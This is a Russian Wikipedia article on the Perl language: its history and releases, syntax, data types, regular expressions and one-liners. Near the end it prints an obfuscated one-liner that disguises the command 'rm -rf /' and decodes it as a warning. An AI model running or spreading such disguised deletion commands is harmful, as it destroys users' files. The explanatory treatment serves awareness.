Perl

Материал из Википедии — свободной энциклопедии
Версия от 14:07, 15 ноября 2025; imported>Alex NB OT (унификация языковых шаблонов, замена устаревших имён параметров (13))
(разн.) ← Предыдущая версия | Текущая версия (разн.) | Следующая версия → (разн.)
Перейти к навигации Перейти к поиску

Шаблон:Карточка языка программирования

Perl — высокоуровневый интерпретируемый динамический язык программирования общего назначения, созданный Ларри Уоллом, лингвистом по образованию. Название языка официально расшифровывается как Шаблон:Lang-en2 («практический язык для извлечения данных и составления отчётов»)<ref name="perldoc">Шаблон:Cite web</ref>, а в шутку — как Шаблон:Lang-en2 («патологически эклектичный перечислитель мусора»)<ref name="perldoc" />; разработчики языка не считают его название акронимом<ref>Шаблон:Cite web</ref>. Первоначально название состояло из пяти символов и в таком виде в точности совпадало с английским словом Шаблон:Lang-en2 («жемчужина»). Но затем стало известно, что такой язык уже существует, и букву «a» убрали. Символом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжёлую работу.

Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе работа с регулярными выражениями, встроенная в синтаксис. Перл унаследовал много свойств от языков Си, AWK, скриптовых языков командных оболочек UNIXШаблон:Нет АИ.

Perl знаменит огромной коллекцией дополнительных модулей CPAN (около Шаблон:Num), которые значительно увеличивают его возможности.

Обзор

Ларри Уолл

Perl — язык программирования общего назначения, который был первоначально создан для манипуляций с текстом, но на данный момент используется для выполнения широкого спектра задач, включая системное администрирование, веб-разработку, сетевое программирование, игры, биоинформатику, разработку графических пользовательских интерфейсовШаблон:Нет АИ.

Язык можно охарактеризовать скорее как практичный (лёгкость в использовании, эффективность, полнота), чем красивый (элегантность, минималистичность)<ref>perlintro(1) man page</ref>. Главными достоинствами языка являются поддержка различных парадигм (процедурный, объектно-ориентированный и функциональный стили программирования), контроль за памятью (без сборщика мусора, основанного на циклах), встроенная поддержка обработки текста, а также большая коллекция модулей сторонних разработчиков.

Согласно Ларри Уоллу, у Perl есть два девиза. Первый — «Есть больше одного способа это сделать» («Шаблон:Lang-en2»), известный также под аббревиатурой TMTOWTDI. Второй слоган — «Простые вещи должны быть простыми, а сложные вещи должны быть возможными» («Шаблон:Lang-en2»)Шаблон:Нет АИ.

Особенности

Общая структура Perl в общих чертах ведёт своё начало от языка Си. Perl — процедурный по своей природе, имеет переменные, выражения присваивания, блоки кода, отделяемые фигурными скобками, управляющие структуры и функции.

Perl также заимствует ряд свойств из языков программирования командных оболочек UNIX. Все переменные маркируются ведущими знаками, которые точно выражают тип данных переменной в этом контексте (например, скаляр, массив, хеш). Важно, что эти знаки позволяют переменным быть интерполированным в строках. Perl обладает множеством встроенных функций, которые обеспечивают инструментарий, часто используемый для программирования оболочки, например сортировку или вызов системных служб.

Perl заимствует массивы из Лиспа, регулярные выражения из AWK и sed, из AWK также позаимствованы хеши («ассоциативные массивы»). Регулярные выражения облегчают выполнение многих задач по парсингу, обработке текста и манипуляций с данными.

Perl 5 добавил поддержку сложных типов данных, первоклассных функций (замыкание как значение) и объектную модель. В последнюю входят ссылки, пакеты, выполнение методов от класса, переменные с лексическим объявлением области видимости, а также директивы компилятора (например, strict). Главнейшим усовершенствованием, представленным в Perl 5, стала возможность помещать код в «пакеты» (Шаблон:Lang-en2) в качестве модулей для повторного использования. Ларри Уолл позже заметил, что «Весь замысел модульной системы Perl 5 сводился к поощрению роста культуры Perl, а не строчек кода»<ref>Larry Wall, the Guru of Perl | Linux Journal</ref>.

Все версии Perl выполняют автоматическую типизацию данных и автоматический контроль над памятью. Интерпретатор знает тип и запросы памяти каждого объекта программы, он распределяет и освобождает память, производя подсчёт ссылок. Перевод одного типа данных в другой — например, числа в строку — происходит автоматически во время исполнения, невозможные для выполнения переводы типов данных приводят к фатальной ошибке.

Работа в Windows

Пользователи Microsoft Windows обычно используют дистрибутивы с уже скомпилированными бинарными файлами, такие, как ActivePerl или Шаблон:Нп5, так как компиляция Perl из исходных кодов в этой ОС — не самая простая задача. Задачу может облегчить Cygwin.

История

Первые версии

Ларри Уолл начал разработку Perl в 1987 году, когда работал программистом в Unisys<ref name="larry-wall-snippet">Шаблон:Cite web</ref>. Версия 1.0 была выпущена и анонсирована в новостной группе comp.sources.misc 18 декабря 1987 года<ref>v13i001: Perl, a "replacement" for awk and sed, Part01/10</ref> как «„замена“ для awk и sed».

Perl 2 был выпущен в 1988 году. Основным нововведением в нём был переработанный механизм регулярных выражений. Perl 3, выпущенный в 1989 году, получил возможность обрабатывать потоки двоичных данных.

Изначально единственной документацией для Perl была единственная (огромной длины) man-страница. В 1991 году была выпущена книга «Шаблон:Lang-en2» (известная многим программистам как «Верблюжья книга» (Шаблон:Lang-en2) из-за изображения на обложке), которая, де-факто, стала стандартом языка. В то же самое время версия языка была «поднята» доШаблон:Nbsp4Шаблон:Nbhyй — не столько чтобы указать на значительные изменения, сколько чтобы обозначить, что эта версия языка документирована книгой.

Ранний Perl 5

Perl 4 прошёл через серию релизов, остановившись на Perl 4.036 в 1993 году. В этот момент Ларри Уолл забросил Perl 4 и начал работу над Perl 5. Разработка Perl 5 была начата в 1994 году. В то же время был создан список рассылки perl5-porters для координации работы над портированием Perl 5 на различные платформы. Он до сих пор остаётся основным форумом по разработке, обслуживанию и портированию Perl 5<ref>Шаблон:Cite web</ref>.

Perl 5.000 был выпущен 17 октября 1994 года<ref>[[[:Шаблон:Cite web]] История языка Perl на сайте perldoc.perl.orgШаблон:Ref]</ref>. Он включал в себя полностью переписанный интерпретатор, а также много новых языковых возможностей, таких, как объекты, ссылки, локальные переменные (my $var_name) и модули. Особенно важной частью были модули, так как они предоставили механизм расширения языка без модифицирования интерпретатора. Это позволило стабилизировать интерпретатор, но при этом, дало возможность обычным Perl-программистам добавлять в язык новые возможности. Perl 5 находится в активной разработке по сей день.

Perl 5.001 был выпущен 13 марта 1995 года. Perl 5.002 увидел свет 29 февраля 1996 года с новой поддержкой прототипов. Это позволило авторам модулей создавать функции, которые вели себя так же, как и встроенные функции Perl. Версия Perl 5.003 появилась 25 июня 1996 года и устранила обнаружившиеся проблемы с безопасностью.

Одно из важнейших событий в истории PerlШаблон:Nbsp5 случилось за пределами собственно языка и было следствием поддержки модулей. 26 октября 1995 года начала свою работу CPAN (Шаблон:Lang-en2 — «всеобъемлющая сеть архивов Perl»), которая стала репозиторием модулей Perl, а также исходного кода самого языка. На данный момент CPAN насчитывает более Шаблон:Num модулей, созданных более чем Шаблон:Num программистами<ref>Шаблон:Cite web</ref> <ref name="home">Шаблон:Cite web</ref>.

Perl 5.004 был выпущен 15 мая 1997 года и содержал, кроме всего прочего, пакет UNIVERSAL, который давал языку основной объект, от которого автоматически происходили все классы. Была также включена возможность запрашивать версию модулей. В дополнение к этому Perl стал поддерживать Microsoft Windows, а также ряд других операционных систем.

Perl 5.005 увидел свет 22 июня 1998 года. Этот релиз включал в себя несколько улучшений процессора регулярных выражений, новые перехваты в бэкенд с помощью модулей B::*, оператор кавычек qr// для регулярных выражений, большой выбор других новых модулей, а также поддержку ряда операционных систем, в частности, BeOS.

C 2000 по наше время

Версии 5.6.x

Perl 5.6 был выпущен 22 марта 2000 года. Главные изменения включали поддержку 64-битных систем, представление строк в стандарте Юникод, поддержку больших файлов (файлы больше Шаблон:Num) и ключевое слово our<ref>Шаблон:Cite web</ref><ref>Шаблон:Cite web</ref>. Во время разработки Perl 5.6 было принято решение изменить схему наименования версий на более близкую к другим проектам с открытым исходным кодом. За версией 5.005_63 следовала версия 5.5.640; согласно плану, версиям в разработке должны были присваиваться нечётные номера, стабильным версиям — чётные.

В 2000 году Ларри Уолл выступил с призывом к сообществу активно обсуждать предложения к следующей версии Perl. Результатом этого обсуждения стал Шаблон:Num RFC (Шаблон:Lang-en2 — «запрос комментариев»), которые были использованы в разработке Perl 6. В 2001 году<ref>[1]Шаблон:WaybackШаблон:WaybackApocalypseШаблон:Nbsp1: The Ugly, the Bad, and the Good — dev.perl.orgШаблон:Ref</ref> была начата работа над окончательным документом, подводящим итог предложениям к созданию нового поколения Perl. Результат был представлен не в виде формального документа, а в качестве сводки всех RFC. К этому времени PerlШаблон:Nbsp6 существовал исключительно в виде описания языка.

Версии 5.8.x

Perl 5.8 был впервые выпущен 18 июля 2002 года и с этого времени получал ежегодное обновление. Последняя версия Perl 5.8, под номером 5.8.9, увидела свет 14 декабря 2008 года. Perl 5.8 улучшил поддержку Юникода, добавил новую реализацию ввода-вывода, добавил поддержку многопоточности, увеличил числовую точность и добавил несколько новых модулей<ref>Шаблон:Cite web</ref>.

В 2004 году началась работа над Синопсисом (Synopsis) — первоначально задуманном как ряд документов, подводящих итоги окончательного документа, упоминавшегося выше. Однако постепенно этот ряд документов и стал спецификацией PerlШаблон:Nbsp6. В феврале 2005 года Отриус Тан начала работу над Шаблон:Iw — интерпретатором Perl 6, написанном на Haskell<ref>Шаблон:Cite web</ref>. Это было первой настоящей попыткой воплотить PerlШаблон:Nbsp6 в реальность. Эта попытка заглохла в 2006 году.

Версии 5.10.x

18 декабря 2007 года, в день 20-летней годовщины Perl 1.0, была выпущена версия Perl 5.10.0. Эта версия содержала в себе ряд заметных нововведений, приближающих её к Perl 6. Одними из таких нововведений стали новые операторы switch (названных «given»/«when»), обновление регулярных выражений, а также «умный» оператор совпадения «~~»<ref>perldelta: what is new for perl 5.10.0 Шаблон:Webarchive</ref><ref>Smart matching in detail Шаблон:Webarchive</ref>.

Примерно в это же время всерьёз началась разработка новой реализации PerlШаблон:Nbsp6, известной как Шаблон:Iw, разработанной в связке с виртуальной машиной Parrot. С ноября 2009 года Rakudo Perl регулярно обновляется каждый месяц и является на данный момент самой полной реализацией Perl 6.

Версии 5.11.x

Значительное изменение процесса разработки PerlШаблон:Nbsp5 произошло после появления PerlШаблон:Nbsp5.11. Сообщество разработчиков перешло на ежемесячный цикл выпусков, с планированием даты выпуска на три месяца вперёд.

Версии 5.12.x

12 апреля 2010 года Perl 5.12.0 был представлен общественности. Выдающиеся нововведения включают в себя поддержку нового синтаксиса package NAME VERSION, оператор Yada Yada (служащего для маркировки кода-заполнителя, который ещё не реализован), полное решение «проблемы 2038 года» (Y2038), перегрузку операторов регулярных выражений, поддержку DTrace (фреймворка динамической трассировки), а также полную поддержку стандарта Unicode 5.2<ref>Шаблон:Cite web</ref>. 7 сентября 2010 года был выпущен Perl 5.12.2, а 21 января 2011 — Perl 5.12.3. Эти выпуски содержат обновление модулей, а также некоторые изменения в документации<ref>Шаблон:Cite web</ref><ref name='5123delta'>Шаблон:Cite web</ref>. Версия 5.12.4 выпущена 20 июня 2011. Последняя версия этой ветви, 5.12.5, выпущена 10 ноября 2012.

Версии 5.14.x

14 мая 2011 выпущен Perl 5.14. Поддержка JSON стала встроенной, начиная с версии 5.14.2. Последняя версия этой ветви, 5.14.4, выпущена 10 марта 2013.

Версии 5.16.x

20 мая 2012 выпущен Perl 5.16. Значимым новшеством является возможность указать нужную версию Perl, которую надо эмулировать, позволяя пользователям обновить Perl, но сохранить работоспособность старых скриптов, которые иначе стали бы несовместимыми с новой версией<ref name='5160delta_version'>Шаблон:Cite web</ref>. Ядро Perl 5.16 поддерживает Unicode 6.1<ref name="5160delta_version" />.

Версии 5.18.x

18 мая 2013 выпущен Perl 5.18. Значимые нововведения включают новые зацепки dtrace, лексические функции, увеличение числа включённых в ядро функций, пересмотр реализации хешей из соображений безопасности, поддержка Unicode 6.2<ref name='5180delta_version'>Шаблон:Cite web</ref>.

Версии 5.20.x — 5.26.x

Версия 5.20 вышла 27 мая 2014<ref>Шаблон:Cite web</ref>.

16 апреля 2015 было объявлено о предполагавшемся выходе версии 5.22<ref>Шаблон:Cite web</ref>, 9 мая 2016 вышла версия 5.24<ref name="5.24">.Шаблон:Cite web</ref>.

30 мая 2017 года вышла очередная стабильная версия за номером 26<ref name="5.26">Шаблон:Cite web</ref>. Шаблон:Обновить

Версии 5.28.x

Версия 5.28.0 вышла 22 июня 2018<ref>Шаблон:Cite web</ref>.

Ключевые нововведения:

  • Поддержка Unicode 10.0 (появился символ биткоина).
  • Стандартную функцию delete можно использовать на срезах хэша ключ / значение:

<source lang="perl"> my %sanitised_values = delete %input_values{@allowed_keys}; </source>

  • Проверка системы письменности на однородность (script runs):

<source lang="perl"> 'Perl' =~ /^(*sr:\w+$)/ </source> Вернёт «ложь», так как буква «е» кириллическая (подробнее о script runs<ref>Шаблон:Cite web</ref>)

Экспериментальные возможности:

  • Поддержка буквенных синонимов для некоторых утверждений (assertion) регулярных выражений:

<source lang="perl"> (?=...) (*pla:...) or (*positive_lookahead:...) (?!...) (*nla:...) or (*negative_lookahead:...) (?<=...) (*plb:...) or (*positive_lookbehind:...) (?<!...) (*nlb:...) or (*negative_lookbehind:...) (?>...) (*atomic:...) </source>

Улучшения производительности:

  • Серьёзно снижены накладные расходы связанные с использованием параметров юникод (\p{...}) в регулярных выражениях.
  • Существенно ускорена множественная конкатенация. Например, следующий код на x86_64 работает в 4 раза быстрее:

<source lang="perl"> my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn";

my $s; for my $i (1..10_000_000) {

  $s = "\x{100}wxyz";
  $s .= "foo=$a bar=$b baz=$c";

} </source>

  • printf() с фиксированным набором аргументов и строкой формата содержащей только %s и %% работает быстрее.
  • ref() работает намного быстрей в булевом контексте, так как больше не создаётся временная строка вроде Foo=ARRAY(0x134af48).
  • Циклы for() и аналогичные конструкции в большинстве ситуаций будут работать быстрей.
  • Появилась возможность хранить процедуры в пакетах без использования таблиц имён, что позволяет сэкономить крупные объёмы памяти.

Другие изменения:

  • Ядро почистили от «use vars». Многие продолжают использовать «use vars», что является плохой практикой с момента введения «our» в версии 5.6.0.
  • Новое предупреждение для случаев:

<source lang="perl"> my $name='Pistachio'; print "In $name's house"; </source>

  • Побитовые операции для строк и чисел больше не являются экспериментальными.
  • Редактирование на месте с помощью perl -i стало безопаснее.

Версия 5.32.0

Вышла 20 июня 2020<ref>Шаблон:Cite web</ref> и за 13 месяцев разработки изменено около 140 тысяч строк кода в 880 файлах. Perl 5.32 переходит в режим долгой поддержки на срок от 5 лет. На «Perl and Raku Conference in the Cloud»<ref>Шаблон:Cite web</ref>, Sawyer X. анонсировал смену основной версии Perl с 5 на 7<ref>Шаблон:Cite web</ref>. Ожидается, что Perl 7 это всё тот же Perl 5.32 с современными настройками по умолчанию.

Ключевые нововведения:

  • Новый экспериментальный оператор isa, проверяющий, является ли указанный объект экземпляром переданного класса или класса-наследника:

<source lang="perl"> if( $obj isa Package::Name ) { ... } </source>

  • Поддержка Unicode 13.0!
  • Появилась возможность записывать операторы сравнения с одним приоритетом в виде цепочки:

<source lang="perl"> if ( $x < $y <= $z ) {...}

  1. То же самое что:

if ( $x < $y && $y <= $z ) {...} </source>

  • Буквенные обозначения утверждений в регулярных выражениях больше не являются экспериментальными, например: (*pla:pattern)
  • Возможность ограничения проверяемого шаблона конкретной системой письма («Script Runs») больше не является экспериментальной.
  • Появилась возможность отключать непрямой вызов методов.

Некоторые оптимизации:

  • Проверка подключения дополнительных возможностей (features) теперь происходит быстрее.
  • Существенно ускорены специальные случаи для сортировки (например, {$a <=> $b} и {$b <=> $a}).

Версия 5.34.0

Вышла 20 мая 2021<ref>Шаблон:Cite web</ref><ref>Шаблон:Cite web</ref>. Perl 5.34.0 представляет собой примерно 11 месяцев разработки с тех пор, как вышла версия Perl 5.32.0 и содержит примерно Шаблон:Num строк изменений в Шаблон:Num файлах от 78 авторов. Если исключить документацию, генерируемые автоматически файлы и инструментарий для формирования самого релиза, было изменено Шаблон:Num строк в Шаблон:Num .pm, .t, .c и .h-файлах.

Новая функциональность:

  • Добавлена экспериментальная поддержка try/catch.

<source lang="perl"> use feature 'try';

try {

  a_function();

} catch ($e) {

  warn "An error occurred: $e";

} </source>

  • Нижняя граница диапазонного квантификатора теперь может быть не указана: qr/{,n}/.
  • Допускается наличие пробелов для заключённой в фигурные скобки части метасимволов: \x{ FFFC } или qr/a{ 5, 7 }/.
  • Добавлен префикс 0o для записи восьмеричных констант: 0o123_456.
  • В модуль feature добавлены две включённых по умолчанию настройки-ограничителя bareword_filehandles и multidimensional:

<source lang="perl"> no feature qw( bareword_filehandles ); open( FP, "<", "./x" );

no feature qw( multidimensional ); my %h = (); $h{1,2}; </source>

  • Исправлен случай утечки памяти.
  • Расширен набор сообщений об ошибках и предупреждений.
  • Добавлены изменения в документации.
Сопутствующие решения

Некоторые наблюдатели приписывают выходу Perl 5.10 запуск движения Modern Perl<ref>Milestones in the Perl Renaissance — Modern Perl Programming Шаблон:Wayback. Modernperlbooks.com. Retrieved on 2013-07-17.</ref><ref>Шаблон:Статья</ref>. В частности, эта фраза описывает стиль разработки, подразумевающий использование CPAN, использование преимуществ последних разработок на языке, а также требовательность к высокому качеству кода<ref>Preface (Modern Perl 2011—2012) Шаблон:Wayback. Modernperlbooks.com. Retrieved on 2013-07-17.</ref>.

В конце 2012 и в 2013 запущены несколько проектов по альтернативной реализации Perl 5: Perl5 in Perl6 (Rakudo Perl team)<ref>Шаблон:Cite web</ref>, moe (Стивен Литл с друзьями)<ref>[2]Шаблон:WaybackWhat is Moe (a clarification) | Stevan Little [blogs.perl.org&#;</ref>, p2<ref>Шаблон:Cite web</ref> (Perl11 team under Reini Urban), а также gperl (goccy)<ref>Шаблон:Cite web</ref>.

Perl 6

Ошибка скрипта: Модуля «Основная статья» не существует. С 2000 года идёт разработка новой (6-й) версии языка. В отличие от предыдущих версий, разработчики планируют создать чётко определённый стандарт языка. В настоящее время существуют экспериментальные компиляторы Perl 6, но продолжается дальнейшее обсуждение новых правил.

Синтаксис языка Perl

Синтаксис Perl имеет много общего с синтаксисом языков Си, AWK, sed и Bourne shell.

Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX-системах и выполнения их на веб-сервере (см. также: Шебанг (Unix)).

Пример программы

Простейшая программа «Hello, world!» выглядит следующим образом:

<source lang="perl">

  1. !/usr/bin/perl

print "Hello, world!\n"; </source>

либо для CGI:

<source lang="perl">

  1. !/usr/bin/perl

print "Content-type: text/html\n\n"; print "Hello, world!"; </source>

либо используя один из post modern web-framework

<source lang="perl"> use Mojolicious::Lite; get '/' => {text => 'Hello World!'}; app->start; </source>

либо используя PSGI спецификацию

<source lang="perl"> my $app = sub {

   return [200, ['Content-Type' => 'text/plain'], ["hello, world\n"]];

} </source>

Дозапись в строку.

<source lang="perl"> $x = 5; $x .= 0; print $x; #50 </source>

А вот так можно напечатать число гугол.

<source lang="perl"> print 1, 0 x 100; </source>

Типы данных

Основные типы данных: скаляр, массив, хеш-таблица, функция, указание на файл, запись таблицы символов. Переменные разных типов отличаются знаком, который стоит перед именем переменной:

Тип Символ Пример Описание
Скаляр $ $foo единичное значение; может быть числом, строкой, указанием на файл, а также ссылкой.
Массив @ @foo Упорядоченная коллекция скаляров.
Хеш-таблица % %foo Коллекция из пар строка-скаляр; строки называются ключами, а скаляры — значениями. Синоним — ассоциативный массив.
Файловый дескриптор < > $foo или FOO Представление открытого файла или другой цели, открытой для чтения и/или записи.
Функция & &foo Отрезок кода, который принимает аргументы, исполняет действия и возвращает значения.
Запись таблицы символов * *foo Запись таблицы символов для всех типов с именем 'foo'.

Скаляр

Скалярные переменные используются для хранения одиночных значений. Они могут содержать числа, строки и ссылки на другие объекты. Перед именем скалярной переменной необходимо ставить знак доллара '$'. Тип скалярной переменной не фиксирован (в отличие от, например, языка Си) и определяется динамически в зависимости от контекста. Например,

<source lang="perl"> $x = 10; # число $y = $x + 1; # используем $x как число… $z = $x . 'string'; # … а теперь — как строку $ref = \$x; # $ref является указателем на $x $$ref = 10; # $x содержит значение 10 </source>

Строковые данные должны быть помещены в кавычки. Perl использует два вида кавычек — одиночные и двойные. Помещение строки в двойные кавычки позволяет автоматически заменить встречающиеся имена переменных на их значения. Заключение строк в одиночные кавычки предотвращает такое поведение:

<source lang="perl">

    1. Пример интерполяции переменных в двойных кавычках

$pi = 3.141592654; $var1 = 'Значение Pi - $pi\n'; print $var1; # Значение Pi - $pi\n $var2 = "Значение Pi - $pi\n"; print $var2; # Значение Pi - 3.141592654 </source>

Для включения двойных кавычек в строку, которая была помещена в двойные кавычки, следует использовать \". Для включения одинарных кавычек в строку из одинарных кавычек — \'. Для удобства работы со строками, содержащими много знаков кавычек внутри, Perl позволяет использовать альтернативные способы закавычивания. Альтернативная форма использует любую пару знаков, помещённых после буквы q (имитирует поведение одинарных кавычек) или qq (имитирует поведение двойных кавычек):

<source lang="perl">

    1. Пример использования альтернативных кавычек

$pi = 3.141592654; $link1 = q{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>}; print $link1; # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a> $link2 = qq{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>}; print $link2; # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a> </source>

Ещё один тип кавычек в Perl — обратные кавычки. В них помещаются программы операционной системы, вывод которых может быть передан интерпретатору Perl. Например:

<source lang="perl">

    1. Пример использования обратных кавычек для исполнения команд UNIX

$space = `du -s -k /usr/local/bin`; print $space; # 6264 /usr/local/bin

$sysuptime = `uptime`; print $sysuptime; # 2:24 up 1 day, 9:05, 1 user, load averages: 0.26 0.32 0.33 </source>

Массив

Массив является упорядоченным списком скаляров. Каждый элемент массива имеет порядковый индекс, с помощью которого к нему можно получить доступ. Нумерация элементов начинается с нуля, то есть первый элемент списка имеет индекс 0. Перед именем переменной-массива необходимо ставить знак '@', а для доступа к определённому элементу массива использовать знак '$', так как отдельный элемент массива является скаляром. Многомерные массивы можно смоделировать, помещая в список ссылки на другие списки.

<source lang="perl"> @array = (1,2,3,4); # записали в массив @array четыре элемента print $array[2]; # напечатать третий элемент print @array[2,3]; # напечатать третий и четвёртый элемент.

  1. Здесь используется @, так как результат операции среза массива тоже является массивом.

</source>

Хеш-таблица

  • Хеш-таблица представляет собой ассоциативный массив, позволяющий ассоциировать строку (называемую «ключом») со скаляром (значение). Строка называется ключом, а скаляр в хеш-таблице значением. Перед именем переменной-списка необходимо ставить знак процента '%', а для доступа к определённому элементу массива необходимо ставить знак '$'.

Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).

<source lang="perl"> %hash = (

           cat => 'kitten',  # здесь => - это так называемая "длинная запятая", в этом примере
           dog => 'puppy',   # по функции полностью аналогичная обыкновенной "," за исключением 
           cow => 'calf'     # того, что литералы слева неявно заключаются в кавычки
       );

print $hash{'cat'}; #Напечатает kitten print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хеш автоматически

  1. разворачивается в список (ключ, значение). Так как ключи в хеше не сортируются,
  2. пары каждый раз будут выводиться в произвольном порядке.

</source>

Функция

  • Функция представляет собой фрагмент исполняемого кода. Функция всегда возвращает какое-либо значение. Если возвращаемое значение явно не указано оператором return, возвращается последнее вычисленное значение. Если в функции используется return без параметров, то в зависимости от контекста вызова функции возвращается неопределённое значение undef, пустой список или вообще ничего.

<source lang="perl"> sub printTwo{

print 2;

}

sub three{

3;

}

$s = \&three; print &$s; #Напечатает 3

$s = \&printTwo; # Запишем в скаляр $s ссылку на функцию — через эту ссылку она будет вызвана в следующей строке. print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo print &printTwo #То же самое </source>

Константа

  • Константа представляет собой неизменяемое значение. Константа не является встроенным типом языка и эмулируется при помощи функций. Предпочтительно задавать константы с помощью стандартного модуля constant, чтобы в будущем не зависеть от возможных изменений в реализации констант. Использование:

<source lang="perl"> use constant MY => 2; print MY; </source>

Запись таблицы символов

  • Запись таблицы символов (typeglob) — специальный тип, в котором хранятся ссылки на все переменные других типов с таким названием, а также на символы, которые часто использует для хранения файловый дескриптор, представляющих собой указатель на файл, устройство или PIPE канал, открытые для записи, чтения или для записи и чтения.

Использование: <source lang="perl"> $s = readline *STDIN; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст. @values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст. print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода) </source> Более точный пример, в котором typeglob используется для передачи файлового дескриптора в функцию: <source lang="perl"> my $file = 'file.txt'; #имя файла, который читаем open FH, $file; #открываем файл my $text = _parseFile(*FH); #передаём файловый дескриптор в функцию print $text; close FH; #обязательно закрываем файловый дескриптор sub _parseFile { my $fh = shift; #получаем файловый дескриптор my $text = join(,<$fh>);#построчно читаем из файлового дескриптора, в строку и помещаем в переменную $text return $text; } </source> В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.

Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.

Классы и объекты

Объект в Perl представляет собой просто ссылку, связанную с определённым классом (пакетом). Для связи используется функция bless. Подпрограммы такого связанного пакета являются методами и получают ссылку в качестве первого аргумента.

Специальный синтаксис для конструкторов отсутствует, используется подпрограмма пакета, возвращающая ссылку, связанную с этим пакетом.

Также существуют множество расширений для системы ООП, позволяющих менять синтаксис и использовать синтаксический сахар, в числе которых стоит назвать cpan-модуль Moose и его облегчённую версию Moo<ref>Шаблон:Книга</ref>. Moose используется многими проектами и крупными компаниями, такими как BBC или Cisco<ref>Шаблон:Cite web</ref>.

Регулярные выражения

Важной частью Perl являются регулярные выражения. Благодаря этому Perl хорошо подходит для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов =~, m// и s///.

Оператор m// используется для проверки на совпадение. В простейшем случае результат выражения $x =~ m/abc/ будет истинным тогда и только тогда, когда строка $x будет соответствовать регулярному выражению abc. Например:

Пример Значение
Шаблон:Nobr Строка $x содержит (под)строку «abc». Начальная буква «m» оператора при использовании // может быть опущена.
Шаблон:Nobr Строка $x содержит букву «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем букву «c».
Шаблон:Nobr Строка $x строго равна «perl» или «pugs» без учёта регистра. Так же, вместо // регулярное выражение окружено в {}.

Поиск и замена выполняются при помощи оператора s///. Конструкция $x =~ s/abc/def/; заменит первое вхождение регулярного выражения abc на строку def.

Пример Значение
Шаблон:Nobr Все вхождения (на что указывает флаг /g — global) подстроки «abc» в $x будут заменены на «def».
Шаблон:Nobr Первое вхождение в $x буквы «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!».
Шаблон:Nobr Здесь показан пример использования модификатора /e, указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно.

С появлением динамических регулярных выражений (??{ код Perl }) и конструкции для включения в регулярное выражение исполняемого кода Perl (?{ код Perl }) возможности по поиску и замене стали практически безграничными. К примеру, стал возможен поиск конструкций произвольного уровня вложенности.

Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.

Программы из одной строки

Интересной и часто используемой возможностью Perl являются так называемые однострочники — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа -e.

Эта программа напечатает простые числа:

<source lang="perl">perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'</source>

Этот пример напечатает только уникальные строки файла file, ключ -n автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:

<source lang="perl">perl -ne '$s{$_}++ || print' file</source>

Примечание: для запуска предыдущей команды под Windows замените в ней апострофы ' на двойные кавычки ".

В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.

Шаблон:Внимание Также одним из подобных примеров является вызвавшая большой резонанс программа<ref>Шаблон:Cite web</ref>, на самом деле являющаяся патчем Бармина (замаскированной командой рекурсивного удаления всех файлов):

<source lang="perl">echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'</source>

echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:

<source lang="perl"> $? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ; y; -/:-@[-`{-};`-{/" -; ; s;;$_;see </source>

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

<source lang="perl">

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}

`abcdefghijklmnopqrstuvwxyz{/" - </source>

В результате содержимое $_ принимает вид <source lang="perl"> system"rm -rf /" </source>

